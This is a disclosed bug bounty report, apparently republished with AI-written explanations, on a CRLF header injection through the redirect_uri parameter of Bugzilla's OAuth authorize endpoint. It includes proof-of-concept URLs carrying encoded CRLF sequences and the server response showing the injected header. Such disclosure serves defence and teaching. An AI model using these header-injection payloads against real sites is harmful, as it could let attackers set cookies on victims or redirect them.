Security bug https://bugzilla.mozilla.org/oauth/authorize - CRLF Header injection via "redirect_uri" parameter
The OAuth authorisation endpoint reflected the redirect_uri parameter into the Location header without sanitising carriage return and line feed characters. An attacker could inject arbitrary HTTP headers into the redirect response, potentially manipulating the user session or causing an open redirect.
- Fixed in 12 hours
- Paid in 12 hours
- Disclosed after 45 days
Summary:
CRLF / HTTP Header Injection. Allows you to set any headers/etc (Set-Cookie...) Page: https://bugzilla.mozilla.org/oauth/authorize Parameter: redirect_uri
Steps To Reproduce:
PoC - does not require authorization:
- https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code
- or (with true redirect): https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=\name.tld%0d%0axxx:something&response_type=code
HTTP response:
HTTP/2 302
server: nginx
date: Tue, 21 Feb 2023 12:04:22 GMT
content-length: 0
content-security-policy: default-src 'self'; worker-src 'none'; connect-src 'self' https://product-details.mozilla.org https://www.google-analytics.com https://treeherder.mozilla.org/api/failurecount/ https://crash-stats.mozilla.org/api/SuperSearch/; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob: https://secure.gravatar.com; object-src 'none'; script-src 'self' 'nonce-kYhs2ysp5D5M1gt2i2uKTFaJyxLN8Qm7O112v7Vt6J4dWGrf' 'unsafe-inline' https://www.google-analytics.com; style-src 'self' 'unsafe-inline'; frame-src https://crash-stop-addon.herokuapp.com; frame-ancestors 'self'; form-action 'self' https://www.google.com/search https://github.com/login/oauth/authorize https://github.com/login https://phabricator.services.mozilla.com/ https://people.mozilla.org
location:
xxx: something?error=invalid_scope
referrer-policy: same-origin
strict-transport-security: max-age=31536000; includeSubDomains
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Impact
Summary:
Possible manipulation of user session / open redirect.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application inserted the redirect_uri parameter into the Location response header without stripping CR/LF characters.
Impact
An attacker could inject arbitrary response headers, potentially manipulating the user session or causing an open redirect.
What the attacker needed
None
How it was found
- Send a request to the OAuth authorise endpoint with a redirect_uri containing encoded CRLF characters followed by a header name and value.
- Observe the 302 response where the injected header appears in the Location header.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web server sends a redirect, it puts the destination in a response header called Location. If the server copies user input into that header without cleaning it, an attacker can sneak in extra line breaks and add their own headers, such as a cookie-setting header. This report shows that the redirect_uri value was placed into the Location header without removing those line breaks.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.